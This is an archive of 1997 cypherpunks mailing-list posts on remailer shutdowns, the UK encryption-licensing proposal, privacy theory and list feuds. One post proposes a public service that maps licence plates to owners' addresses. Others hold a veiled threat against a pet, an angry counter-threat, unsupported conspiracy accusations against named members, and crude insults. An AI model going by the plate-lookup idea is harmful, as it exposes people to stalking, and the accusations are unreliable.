Message-ID: <3.0.1.32.19970321211346.00804dc0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:04 PM 3/21/97 -0800, you wrote:
|[Hmmmhhhh...after noticing that a message I sent off this morning at 9 had
|not gone out as of late this afternoon, I looked to see if other messages
|I've sent off have gone out. I found that a message I sent out last night,
|23 hours ago, has not arrived at my site, nor have I seen any followups by
|others to it. So I am sending it again. I will go back through my messages
|and look for other such non-sends. I suggest others do the same. I don't
|know what the problem is, but it's worse in this respect than the problems
|with toad.com.]
|

Tim:

Last Thursday night I got word of Perry's shut down from the PGP Users List;
I had
not seen it posted during the day so I forwarded it to the cypherpunks list.

It showed up at my location 5 minutes ago.

I have the consolation of knowing mine was not the only one delayed.

I seem to have noticed messages being repeated this afternoon.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzNAMiKJGkNBIH7lAQFDEQQAj1RSJBtJ+vNv/iwPFTTcs6RNBpqq93tN
H0j3toYnuFwuAThR5uI4qyuCto0dVhygl17cgZpLjo85CXDLe3SswN05fTZvhKCB
5E2Doq5OHo01S9cOzUigr6Q5oRR/ZEqGUTZSJmKzw1l0NzA+hDLvs+/zK4wb8yiX
Zb//53oBjIg=
=INC3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 21 Mar 1997 18:17:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <199703220217.VAA24062@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


                        BELIEVE the children!

Vulis wrote:
> Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
> fail to train them), then the offsprings won't reproduce and the parent's
> genes won't perpetuate.  Do we really need a more coersive system of
> punishing "child abuse"?

	We don't (yet) live in the "hobbsian wild". Children do what they are 
taught. If the are taught to react to the slightest provocation with violence,
then they will, when they grow up (notice I didn't say mature), react similarly.
If we wish to live in a society of reasonable people, our children need to 
be raised respond reasonably to provocation. This means get violent when, and
only when necessary. 

	So, yes. I would say we need a fairly coersive system for punishing 
child abuse. We also need a clear defination of what child abuse really is.

                        BELIEVE the children!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 20:29:42 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Cypherpunks Bottleneck [was Cypherpunks & Ecash]
In-Reply-To: <3.0.1.32.19970321211346.00804dc0@smtp1.abraxis.com>
Message-ID: <33335B64.77F1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 05:04 PM 3/21/97 -0800, you wrote:
> |[Hmmmhhhh...after noticing that a message I sent off this morning at 9 had
> |not gone out as of late this afternoon I will go back through my messages
> |and look for other such non-sends. I suggest others do the same. I don't
> |know what the problem is, but it's worse in this respect than the problems
> |with toad.com.]
> |
> 
> Tim:
> Last Thursday night I got word of Perry's shut down from the PGP Users List;
> I had
> not seen it posted during the day so I forwarded it to the cypherpunks list.
> It showed up at my location 5 minutes ago.

  I emailed the majordomo and it sent back a message saying, "I am not
a Bot."
It also added that from now on, it prefers to be addressed as 
'Major Domo', with proper respect for its rank.

  The situation is worse than I thought. Not only are the humans on the
list being replaced by Bots, but the Bots seem to be evolving and/or
mutating to emulate human characteristics.
  Also, I recently received a reply from a Bot that had an English 
accent and said it was having a "Baaaad day". I could smell wet wool,
too. I would suggest keeping an eye out for headers that contain the
words "Sender: toad.clone".

> -----BEGIN PGP SIGNATURE-----
> Version: 1.7
> 
> iQCVAgUBMzNFORGEDkNBIFORGEDQFDEQQAjFORGEDtJ+vNFORGEDPFTTcs6FORGEDq93tN
> ZbFORGEDBjIg=
> -----END PGP SIGNATURE-----

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Fri, 21 Mar 1997 22:20:04 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: "why privacy" revisited
In-Reply-To: <v03007804af58f0258ca0@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, Timothy C. May wrote:

> The best arguments are not those couched in terms of "benefits" to
> society/markets, but in terms of "lowest common denominators." I favor the
> "Schelling point" view, and have espoused it here often.
> 
> In most Western systems, a reasonable Schelling point is that various
> actors agree not to try to enter the "private spaces" of others. For
> example, my neighbors and I agree not to enter each other's houses to pry
> and inspect.
> 
> (The Schelling point is that this "boundary" point is essentially agreed
> upon even though my neighbors and I have never formally negotiated it...as
> with animals and their "territories," certain equilibrium points are
> reached.)
> 
> In Western systems, it is recognized that the _costs_ of coercively
> entering another's home and/or private space are too high, and so we
> declare there to be a "right of privacy." In reality, what we mean is that
> we accept a private domain as a Schelling point.

I think you're answering the third meaning of "why privacy", "why DOES
privacy exist?"  This is a positive rather than a normative question
(which is what I was asking).  I agree with you that most likely privacy
exist because in some sense it is an equilibrium in the game of life.  But
what I'm asking is whether it is a desirable equilibrium, and whether a
new equilibrium involving more privacy is better than what we have now. 

> I reject the argument Wei Dai mentions, that market benefits could obtain
> if society rejected privacy, for two reason. First, because in an important
> sense rights are not the slaves of corporate or personal business
> interests. (E.g., my interest in Alice's television viewing habits does not
> trump her right to keep me out of her house.). Second,  because so-called
> "market efficiency" is largely an illusion anyway.

Certainly no real market is perfectly efficient, but some markets
are relativly more efficient than others, and most markets are more
efficient than alternative forms of economic organization (e.g.,
socialism) so I don't see how you can call "market efficiency" an
illusion.  The inefficiencies I was talking about were relative to the
case where both parties have the same information.

Also, I don't quite understand your first argument.  It seems to suggest
that privacy should exist for no reason in particular.  If this is the
case then it doesn't make sense to argue about the costs/benefits of
privacy. But it is my understanding that most cypherpunks believe more
privacy benefits everyone, and therefore work to making more privacy for
everyone.  What I'm looking for are arguments that support this belief.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 21 Mar 1997 14:28:03 -0800 (PST)
To: jya@pipeline.com
Subject: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321153958.006cc3f4@pop.pipeline.com>
Message-ID: <199703212221.WAA00388@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> forwards from Cyberia-L:
: 
: Making absolutely no comment on the subject of licensing of certification
: authorities, you may be interested in a UK paper entitled LICENSING OF
: TRUSTED THIRD PARTIES FOR THE PROVISION OF ENCRYPTION SERVICES - Public
: Consultation Paper on Detailed Proposals for=20
: Legislation, March 1997.
: 
: You can obtain a full document at http://www.dti.gov.uk/pubs.

Ross Anderson <rja14@cl.cam.ac.uk> posted his interpretation of this
to sci.crypt, alt.security.pgp, alt.security today, which I think
cypherpunks might find eye opening, I'm off to read the doc myself
now.

: From: rja14@cl.cam.ac.uk (Ross Anderson)
: Newsgroups: alt.security.pgp,alt.security,sci.crypt
: Subject: UK Government to ban PGP - now official!
: Date: 21 Mar 1997 10:07:22 GMT
: Message-ID: <5gtmkq$7ns@lyra.csx.cam.ac.uk>
: 
: 
: The British government's Department of Trade and Industry has sneaked 
: out proposals on licensing encryption services. Their effect will be to 
: ban PGP and much more besides.
: 
: I have put a copy on http://www.cl.cam.ac.uk/users/rja14/dti.html as
: their own web server appears to be conveniently down.
: 
: Licensing will be mandatory:
: 
:       We intend that it will be a criminal offence for a body to offer 
:       or provide licensable encryption services to the UK public without 
:       a valid licence
: 
: The scope of licensing is broad:
: 
:       Public will be defined to cover any natural or legal person in the UK.
: 
:       Encryption services is meant to encompass any service, whether provided 
:       free or not, which involves any or all of the following cryptographic 
:       functionality - key management, key recovery, key certification, key 
:       storage, message integrity (through the use of digital signatures) key 
:       generation, time stamping, or key revocation services (whether for
:       integrity or confidentiality), which are offered in a manner which 
:       allows a client to determine a choice of cryptographic key or allows 
:       the client a choice of recipient/s.
: 
: Total official discretion is retained:
: 
:       The legislation will provide that bodies wishing to offer or provide 
:       encryption services to the public in the UK will be required to 
:       obtain a licence. The legislation will give the Secretary of State 
:       discretion to determine appropriate licence conditions. 
: 
: The licence conditions imply that only large organisations will be able to 
: get licences: small organisations will have to use large ones to manage 
: their keys (this was the policy outlined last June by a DTI spokesman).
: The main licence condition is of course that keys must be escrowed, and
: delivered on demand to a central repository within one hour. The mere
: delivery of decrypted plaintext is not acceptable except perhaps from 
: TTPs overseas under international agreements.
: 
: The effect of all this appears to be:
: 
: 1.    PGP servers will be outlawed; it will be an offence for me to sign 
:       your pgp key, for you to sign mine, and for anybody to put my 
:       existing signed PGP key in a foreign (unlicensed) directory
: 
: 2.    Countries that won't escrow, such as Holland and Denmark, will be
:       cut out of the Superhighway economy. You won't even be able to
:       send signed medical records back and forth (let alone encrypted
:       ones)
: 
: 3.    You can forget about building distributed secure systems, as even
:       relatively primitive products such as Kerberos would need to have
:       their keys managed by a licensed TTP. This is clearly impractical.
:       (The paper does say that purely intra-company key management is 
: OK
:       but licensing is required whenever there is any interaction with
:       the outside world, which presumably catches systems with mail, web 
:       or whatever)
: 
: There are let-outs for banks and Rupert Murdoch:
: 
:       Encryption services as an integral part of another service (such as in 
:       the scrambling of pay TV programmes or the authentication of credit 
:       cards) are also excluded from this legislation. 
: 
: However, there are no let-outs for services providing only authenticity and
: nonrepudiation (as opposed to confidentiality) services. This is a point that
: has been raised repeatedly by doctors, lawyers and others - giving a police
: officer the power to inspect my medical records might just conceivably help
: him build a case against me, but giving him the power to forge prescriptions
: and legal contracts appears a recipe for disaster. The scope for fraud and
: corruption will be immense.
: 
: Yet the government continues to insist on control of, and access to, signing 
: keys as well as decryption keys. This shows that the real concern is not
: really law enforcement at all, but national intelligence.
: 
: Finally, there's an opportunity to write in and protest:
: 
:       The Government invites comments on this paper until 30 May 1997 
: 
: 
: Though if the recent `consultation' about the recent `government.direct'
: programme is anything to go by, negative comments will simply be ignored.
: 
: Meanwhile, GCHQ is pressing ahead with the implementation of an escrow
: protocol (see http://www.cs.berkeley.edu/~daw/GCHQ/casm.htm) that is broken
: (see http://www.cl.cam.ac.uk/ftp/users/rja14/euroclipper.ps.gz).
: 
: In Grey's words, ``All over Europe, the lights are going out''
: 
: Ross

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ilya Slavin <slavin@acf2.NYU.EDU>
Date: Fri, 21 Mar 1997 19:45:32 -0800 (PST)
To: Sergey Goldgaber <sergey@el.net>
Subject: Re: NYU's PGP Key-Signing Seminar - a critique
In-Reply-To: <Pine.LNX.3.95.970321162457.147D-300000@void.el.net>
Message-ID: <Pine.ULT.3.95.970321223855.14300B-100000@acf2.NYU.EDU>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, Sergey Goldgaber wrote:

> I am writing regarding the PGP Seminar to be held on the 27th of March.
> Your informative session is laudible.  And, I would like to take full
> advantage of the key-signing session to follow.  However, there is a
> certain concern which it would be prudent to address first.

	Dear Sergey,

	You are, of course, correct about this -- I knew I missed
something when I was making up the instructions (I had to do it in 3
minutes).  I've made the correction.

	Ilya
_______________________________________________________________________
Ilya Slavin         slavin@acf2.nyu.edu          webmaster@cims.nyu.edu
Home Page is at http://www.nyu.edu/pages/advocacy/officers/slavin/
PGP Key fingerprint =  41 88 5D 47 AB 5A 01 D7  7F 89 6D 8E 77 0A 28 C5
'finger' slavin@acf2.nyu.edu to get my public key
_______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 22:46:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
Message-ID: <199703220646.WAA32226@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 10:35 PM 3/20/97 -0500, John Perry wrote:
> > Apparently some high-ranking
> >official has been receiving anonymous email coming from my site that
> >is of a threatening nature. This official has decided to call in the
> >FBI as I was visited by said organization. I am shutting down remailer
> >operations immediately. 
 
> I think you should name the "high-ranking official" involved. 

  If there actually is one.

> We (and you) might also point out that as far as you know, these threatening
> notes could have been send by GOVERNMENT people, in an attempt to shut down
> the system.

  Perhaps there was no threatening note.
  Perhaps there was no visit from the FBI.

  The attempt to destroy the cypherpunks list failed. The next logical
target would be the remailers.
  Two remailers go down in the same week, both being tenacles of C2Net.
  Greg Broiles once again happens upon the scene of the accident, and
predictably warns everyone of the grave dangers and liabilities facing
remailer operators. How long until he publicly calls for the remailers
to be "killed," as he did with the cypherpunks list?

  Instead of solutions to the problems facing small remailers, we have
schills coming out of the woodwork to proclaim that remailers are only
feasible for Big Business to operate.
  Corporate takeover of the list failed, now corporate takeover of the
remailers seems to be the new agenda.

  I suggest that, instead of wasting time on a new battle, we simply 
resurrect all of the arguments over list control and re-post them
as arguments over remailer control, simply substituting the word
"remailer" everywhere that the word "list" occurs.

Truthmonger


    Cindy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 21:39:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dorothy and the four Horseman
In-Reply-To: <3.0.32.19970321123328.00af9c00@gabber.c2.net>
Message-ID: <3333654C.5FCD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Douglas Barnes wrote:
> 
> Aldrich Ames is actually a great example of why Key Escrow is
> NOT a good idea. Any measure that concentrates keys in one or
> several locations creates a tempting target for spies,
> criminals and corporate espionage types. How much better do the
> GAK proponents plan to protect keys than, say, the names of all
> our agents in the former Soviet Union?
> 
> Doug






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 21:41:22 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
Message-ID: <33336C84.1DF1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> There does appear to be a coordinated global action to issue
> policies on TTP, GAK and the like at this time.
> 
> All are apparently guided by The Wassenaar Arrangement amongst
> two dozen or so countries to act in concert, and to go public with
> dual-use controls in unison.
> 
> So, Clint Brooks' comment at CFP about a new policy coming out
> for stronger crypto is a surely a harbinger of global GAK, in the
> guise of TTP or Key Recovery, 

  Note that The Wassenaar Arrangement is not legislation passed 
by our government or others. It is the product of people who sit
in rooms and make decisions as to how the future of the world 
will be.
  Thus, through collusion between them, they decide what everyone
worldwide will be offered on the plate handed to them by their
government. Yet, when our legislators (and those of other nations)
pass laws affecting us, in order to 'fall into line' with these
'standards', it will be done under the auspices of 'the will of
the people'.

  My prediction is that, if it appears the efforts of global GAK
are stumbling because of opposition, then those opposing it will
find themselves attacked by a worldwide conspiracy to let the
streets in front of their homes go unattended and fall into 
disrepair. The opposition will thus dwindle, as people spend their
time writing the mayor, and letters to the editor of their hometown
newspaper.
  Ridiculous? I'm just pointing out that the rule of law in most
countries has split into two factions. We have elected legislators
to vote for laws concerning the latest ten-second sound-byte
controversy on the Jenny Jones Show, and we have a global web
of regulators and private actors to decide the more important
issues concerning our freedom and privacy.

  So, in the end, don't be surprised if The Wassenaar Arrangement
is amended to include the provision that anyone agreeing to wear
leg chains will have the potholes fixed on the streets in front
of their homes. 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 22:45:12 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Report from Supreme Court on CDA arguments
In-Reply-To: <v03007809af590e199645@[207.167.93.63]>
Message-ID: <33337669.CFF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
 
> Nothing I have seen in the interpretations of the CDA would "excuse" me
> from saying "Fuck" (or worse) in a forum if I knew readers under 18 might
> see it. (Some of the pro-CDA folks talk about possible exceptions for, say,
> two 17-year-olds discussing sexual problems between themselves).
> 
> This was the main reason I did "Tim's Vernacular Translation of the Bible"
> as an alternate .sig. (Included below, by the way.)

> --
> [This Bible excerpt awaiting review under the U.S. Communications Decency
> Act of 1996]
> And then Lot said, "I have some mighty fine young virgin daughters. Why
> don't you boys just come on in and fuck them right here in my house - I'll
> just watch!"....Later, up in the mountains, the younger daughter said:
> "Dad's getting old. I say we should fuck him before he's too old to fuck."
> So the two daughters got him drunk and screwed him all that night. Sure
> enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> really hated the idea of doing his brother's wife and getting her pregnant
> while his brother got all the credit, so he pulled out before he
> came....Remember, it's not a good idea to have sex with your sister, your
> brother, your parents, your pet dog, or the farm animals, unless of course
> God tells you to. [excerpts from the Old Testament, Modern Vernacular
> Translation, TCM, 1996]

  Perhaps this sig could be used in all replies to government 
agencies in regard to CDA and other censorship matters.
  Is it in the public domain?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Fri, 21 Mar 1997 21:43:08 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970322003754.21017C-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way

Okay, Vulis, that's it, you have made an explicit threat in a public
forum, I know where you live, I know your phone number, in fact I once
spoke to you on the phone, and I will be suggesting to the rather slow
witted people at my local police precinct that you have already 
demonstrated unstable, threatening behavior toward many people, giving me 
good reason to believe that you are capable of assault.

This is the last you will hear from me online. Anything further will be 
stated in person.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 22 Mar 1997 00:56:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: LA Times article on crypto anarchy
Message-ID: <199703220856.AAA02883@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> "'Activity in cyberspace ultimately forecasts the end of national
> control,' said David Post, visiting associate professor of law at
> Georgetown University."
 
> The article goes on to mention digital cash, crypto policy debates,
> problems with the CDA, Germany's attempt to block access to Radikal
> magazine and anti holocast info on the net, and other topics which we
> have discussed at length.  It is good to see these ideas beginning to
> enter the mainstream.
 
> This is what this list and this movement is capable of.  A lot of
> these ideas would not have received their prominence if it were not
> for the cypherpunks.  And of course there are powerful forces arranged
> in opposition.

  Of course, those who attempt to point toward those powerful forces
will be be subjected to ridicule as paranoid conspiracy theorists. And
when they point out the facts concerning the underlying alliances and
motivations behind various actors on the list, then they will be met
with rebuttals that so-and-so had a beer with them, once, and they
seemed like a nice person.
  Big news flash! 
    Nazi's attend the opera and kiss babies.
    Money buys people (even those who deny it to themselves).

  I wish I had a dime for every post I've seen on this list that 
denigrates those that suggest that the list is both followed by,
and subjected to interference by, clandestine agencies and agents.
  "What? Our 'How to build a Nuclear bomb' list is being subjected
to surveillance? How silly!"
  Buy a clue, dudes and dudettes. Cryptography is the new Nuclear
technology of the Information Age. Big Brother is paying attention.

>  How easy they find it to distract us, to fill the list
> with irrelevant discussions!  When I see so many posts which are purely
> flame bait, or which seem to go out of their way to explore trivia as
> though it were of interest, I believe that in at least some cases they
> are intentionally designed to thwart our efforts.

   Most people who recognize this still fail to see the 'thwarting'
that takes place by those whose sole purpose is to spread disinformation
while seeming to agree with the consensus opinion on the list. The 
subtle slants which are a constant undercurrent in their posts are
seldom seen as an attempt to undermine the issues they appear to be
supporting.
 
> I'm not calling for censorship, but I'd like people to be aware of what
> is going on.  Before responding to an off-topic or flaming post, consider
> the motivations of the creators of the thread.  Is it possible that this
> is purely an attempt to fill the list with noise, to drown out discussion
> on more important and relevant topics?

  In some cases, undoubtedly, but anyone who thinks that the flames
and off-topic posts are the enemy on this list are _not_ aware of
what is going on.
  Noise will deflect idiots and lightweights from following the crucial
issues surrounding cryptography, but this in no great loss. The true
loss to the list is when the supposedly intelligent members lose the
capacity to distinguish critical points raised on the list because they
have allowed themselves to fall into the same personality based mode
of censorship as was forcefully imposed on the list.

  Look at the number of people on the list who _boast_ about their
killfiles. They are idiots. Even those who profess to use their 
filters as an information tool seem to base their filtering on
personality, to a large degree.
  The result? They are filtering _into_ view those the disinformation
artists who will lick their dick in order to lead them away from 
areas they don't want to receive too much attention.

  The result of the sheep mentality of cliques who killfile each other
is that if a list member wants to raise an issue outside of his or her
own _clan_ on the list, then they must make NOISE sufficient to draw
in the members of other clans, whose other members will read their
replies.
  Your post might waken a few of the converted to remind them that it
takes an effort to stay on track, but if you had found a way to work
the word "cocksucker" into the list, you would have reached a wider
audience, and perhaps done some good where it will be more effective.
(Or, better yet, badmouth the list Icons.)

  The fact of the matter is, spotting spooks and schills on this list
is a minor matter of the simplest of traffic analysis, given the fact
that so many list members are content to focus their attention only on
the _visible_ enemies that those who use deceit and deception have to
make little effort to cover their tracks.

> Simply being aware of the attack will, I suggest, go a long way towards
> reducing its impact.

  I think that all list members would be well-advised to read your post
and give it serious thought.
  I think, however, that they should also make an attempt to broaden
the concepts you deal with, in their own mind, in order to adjust their
view as to the true nature of the traffic on this list really is.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 22 Mar 1997 02:14:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <199703220646.WAA32226@mailmasher.com>
Message-ID: <3.0.1.32.19970322015649.006f21a8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 PM 3/21/97 -0800, Toto wrote:
>  Two remailers go down in the same week, both being tenacles of C2Net.
>  Greg Broiles once again happens upon the scene of the accident, and
>predictably warns everyone of the grave dangers and liabilities facing
>remailer operators. How long until he publicly calls for the remailers
>to be "killed," as he did with the cypherpunks list?

You ought to read more carefully. I suggested that remailers who *charge for
remailing* may be treated differently under the law than remailers who don't
if they're sued as contributory or vicarious infringers of copyrights. I've
been making that point for at least a year, maybe as long as two years.
(There's a particular Ninth Circuit case - _Fonovisa v. Cherry Auction_ -
which I believe suggests that conclusion, or at least highlights the
relationship between profit and contributory/vicarious liability. It's also
discussed in _RTC v. Netcom_, although the _Fonovisa_ case discussed in _RTC_
was the district court's opinion, which was reversed in the Ninth Circuit, if
I remember correctly.)

Would you prefer that I don't mention that potential development and silently
watch remailer operators unknowingly expose themselves to extra liability? Or
that I speak up and be called an enemy of the remailers? It's not clear to me
what you think I ought to do, except perhaps modify my understanding of the
law to more closely match what you wish it was. 

Also, I did not call for the list to be killed, I said I thought it was dead,
and still think so. The list sees precious few messages worth reading or
responding to. Other forums provide a much better signal/noise ratio and have
far fewer distracting kooks. This list was once a useful place to keep
up-to-date on new developments in cryptography, both technical and
legal/political. Now it's mostly useful as a decoy, allowing loons & kooks of
various flavors to focus their energies and messages here, leaving other
lists and other forums for people actually interested in getting things done.
I get better crypto news faster from other places now. 

My comments, sent on 2/6/97, about "killing the list" are below:

- --

I've been meaning to write up a long message explaining why I think I'm about
to drop off of the list. It's peculiar to spend a lot of time discussing
things with a group of people over the course of several years and then
disappear without saying why. But I'm having trouble coming up with anything
more profound than "it's not interesting any more." Philosophically, I agree
with Lucky - it looks to me like it's time to kill the list and move on to
other things. But that's not my choice to make, and perhaps other people can
still extract something useful from this. More power to them if they can.

- --

>  Instead of solutions to the problems facing small remailers, we have
>schills coming out of the woodwork to proclaim that remailers are only
>feasible for Big Business to operate.

I think anyone (be they a "real person" or a "corporate person") with any
substantial assets ought to distance themselves from remailers because there
are too many people inclined to deliberately attack remailer operators and
the remailer network by sending harmful messages which they or third parties
then complain about. If I didn't think this was true, I'd run a remailer
again myself. 

My current favorite model for remailer ownership and financing consists of a
charitable or spendthrift trust which [perhaps funds a nonprofit corporation
which] rents machine time/net access to run a remailer.

I think that actually fighting a lawsuit against a remailer is likely
pointless, unless the remailer attracts an attorney willing to handle it pro
bono and the remailer operator feels like being a test case. It makes much
more sense to think of remailers as temporary and ephemeral, disappearing
when squeezed too hard and reappearing with a different name and different
ISP. 

>  Corporate takeover of the list failed, now corporate takeover of the
>remailers seems to be the new agenda.

Why would this be useful? Big greedy corporations can't get enough potential
liability? Big greedy corporations can't get enough spam? Big greedy
corporations want to get complaint mail? You've obviously never run a
remailer or a corporation yourself.

>  I suggest that, instead of wasting time on a new battle, we simply 
>resurrect all of the arguments over list control and re-post them
>as arguments over remailer control, simply substituting the word
>"remailer" everywhere that the word "list" occurs.

I suggest that you get a new hobby.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzOsif37pMWUJFlhAQFdbwf+LTCZl8z32oeJq1oKDj+QJfGb2zGea1jK
zfjPARBt5KInQO81FMeEh+R8v0C5dDu9fXpIK69afL22qd5K2QAqnApENzkFL8AC
x+vVH57PgSNaVRrw0w/1laUi5r8rkESUf67yYtmr4mx6kf/5rHMCaP5aaB3k5pP9
WH1d3s9uUCIUdsW4PgS8XPfzHDc2yxH2mMbD3c4hX7UZOBwy+ish4iomZ0P6Ik0s
GtELQIHyio5k5bNHBpCad+lCpadz+NsyicUdUltBEWr/NfJzUu9+XRA2PEImdKVF
LrdZlVOWc/4MSmiJrfEFr2Si8f1j1Ete2/0YVpF94v2C4VadHrmhvQ==
=gYpd
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <199703220646.WAA32226@mailmasher.com>
Message-ID: <Vuky4D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:
...
>
> Truthmonger
>
>
>     Cindy
>  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Do we know anyone named Cindy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks & Ecash in WSJ, Chaum,and Amazing Revelation by NSA
In-Reply-To: <199703210008.QAA00799@crypt.hfinney.com>
Message-ID: <Fwky4D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney <hal@rain.org> writes:
...
> In my travels around the web, I find that First Virtual is being
> relatively successful for small amounts like shareware fees.  It is
> easy to get started with FV; you fill out their web page and make a call
> to their 800 number with your credit card info.  You're ready to go in
> a few minutes.  I'm sure there are a lot more people buying things with
> FV than with Digicash.
...

I just had an idea for an interesting demo project. Perhaps someone
wants to take it up and to put a spin on it to promote privacy/cryptography.

Most (perhaps all) states' motor vehicle departments allow you to connect
to their computer (usually via a modem) and map licence plate numbers into
names/addresses.  Typically you must first set up an account and pay, e.g.,
$200, and then something like $4 is deducted from the account for each
query. Obviously, only someone who performs a lot of queries (like a p.i.
or a lawyer) would set up an account.

It occurred to me that it might be "interesting" for someone to set up
accounts with all the states that have this service; and to establish a
Web site that would do quantity 1 queries for a reasonable fee, like $FV10.

I recall that someone got hold of the Washington State database and
operated such a service for free for a few days as a demo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More disinfo from Cocksucker John Gilmore
In-Reply-To: <858966058.116257.0@fatmans.demon.co.uk>
Message-ID: <HcLy4D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



paul@fatmans.demon.co.uk writes:

>
> >no longer trusted Gilmore to
> >host the list.
> >
